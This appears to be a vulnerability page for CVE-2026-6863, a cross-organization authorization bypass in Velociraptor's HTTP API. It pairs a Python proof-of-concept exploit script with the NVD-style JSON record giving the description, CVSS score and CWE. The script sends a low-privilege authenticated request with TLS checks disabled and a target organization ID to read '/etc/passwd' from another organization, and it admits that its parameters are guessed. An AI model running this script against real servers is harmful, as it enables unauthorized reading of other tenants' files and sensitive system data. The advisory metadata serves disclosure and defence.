CVE-2026-6863

import requests # CVE-2026-6863 PoC: Cross-Organization Auth Bypass # Description: A user with low privileges in the root org can read files from other orgs. target_url = "https://velociraptor-server/api/v1/DownloadFile" # Simulated authentication token for a low-privileged root org user auth_token = "Bearer <LOW_PRIVILEGE_ROOT_TOKEN>" # Headers mimicking a legitimate authenticated request headers = { "Authorization": auth_token, "Content-Type": "application/json" } # The vulnerability allows specifying a target org or file path directly # that the API fails to validate against the user's actual scope. # This parameter structure is hypothetical based on the vulnerability description. params = { "org_id": "<TARGET_ORG_ID>", # ID of the target organization "vfs_path": "/etc/passwd" # Sensitive file to read } try: response = requests.get(target_url, headers=headers, params=params, verify=False) if response.status_code == 200: print("[+] Exploit successful! File content retrieved:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-6863", "sourceIdentifier": "[email protected]", "published": "2026-05-06T16:16:12.030", "lastModified": "2026-05-07T14:56:04.523", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Velociraptor versions prior to 0.76.4 contain a cross organization authorization bypass in the HTTP API. A user with only the reader role in the root organization (the lowest authenticated role, holding only READ_RESULTS permission ) can issue a single authenticated HTTP GET that can read any files from other orgs - even if they have no explicit permissions in the target org.\n\n\n\nHowever, the problem does not occur in reverse - a user with read access to a sub org is unable to read from other org or the root org."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://docs.velociraptor.app/announcements/advisories/cve-2026-6863/", "source": "[email protected]"}]}}